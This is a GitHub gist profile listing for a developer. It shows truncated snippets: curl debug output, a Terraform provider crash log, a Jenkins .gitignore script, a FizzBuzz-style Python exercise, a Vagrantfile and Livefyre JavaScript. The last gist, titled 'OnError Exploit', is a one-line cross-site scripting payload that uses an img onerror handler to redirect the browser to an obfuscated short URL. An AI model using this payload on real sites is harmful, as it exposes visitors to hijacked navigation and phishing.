Skip to content

Instantly share code, notes, and snippets.

View nerd0's full-sized avatar

Paul Schooss nerd0

  • Uber
  • San Francisco
View GitHub Profile
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 50.17.111.26:443...
* TCP_NODELAY set
* Connected to api.splashthat.com (50.17.111.26) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/certs/ca-certificates.crt
CApath: /etc/ssl/certs
Error: rpc error: code = Unavailable desc = transport is closing
panic: runtime error: invalid memory address or nil pointer dereference
2020-11-10T18:56:37.182-0500 [DEBUG] plugin.terraform-provider-mailgun_v0.5.2: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0xefe50e]
2020-11-10T18:56:37.182-0500 [DEBUG] plugin.terraform-provider-mailgun_v0.5.2:
2020-11-10T18:56:37.182-0500 [DEBUG] plugin.terraform-provider-mailgun_v0.5.2: goroutine 66 [running]:
2020-11-10T18:56:37.182-0500 [DEBUG] plugin.terraform-provider-mailgun_v0.5.2: github.com/hashicorp/terraform-plugin-sdk/v2/diag.FromErr(...)
2020-11-10T18:56:37.182-0500 [DEBUG] plugin.terraform-provider-mailgun_v0.5.2: github.com/hashicorp/terraform-plugin-sdk/v2@v2.0.4/diag/helpers.go:16
@nerd0
nerd0 / gist:8ceb47227015b6b72d38
Created November 5, 2014 02:11
Jenkins .gitgnore
bash -c 'cat << EOF > /var/lib/jenkins/.gitignore
*
!*.xml
!.gitignore
!jobs
!jobs/.gitignore
!jobs/*
!jobs/*/*
EOF'
#Write a program which prints out all numbers between 1 and 100. When the program would print out a number exactly divisible by 4, #print "Linked" instead. When it would print out a number exactly divisible by 6, print "In" instead. When it would print out a #number exactly divisible by both 4 and 6, print "LinkedIn."
#!/usr/bin/python
for num in xrange(1,101):
#Cycle through numbers within 1-100
if ( num % 6 == 0 and num % 4 == 0):
print "LinkedIn"
elif (num % 6 == 0):
print "In"
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant::Config.run do |config|
config.vbguest.auto_update = false #true
config.vm.define :aio do |aio|
aio.vm.box = "lucid64"
aio.vm.network :hostonly, "192.168.2.11"
aio.vm.host_name = "aiohost"
aio.vm.provision :shell, :path => "setup.sh"
<script type="text/javascript">
var engage = new fyre.sp.app.Engage({app: 'livefyre-dev'});
var profiles = new fyre.sp.app.Profile({});
var delegates = {
'handle_auth_login': function() {
engage.signIn();
},
'handle_auth_logout': function() {
engage.signOut();
@nerd0
nerd0 / gist:1402823
Created November 29, 2011 00:51
OnError Exploit
<img src=foo.png onerror=location.replace(unescape('%68%74%74%70%3A%2F%2F%67%6F%6F%2E%67%6C%2F%49%64%55%33%4C'));>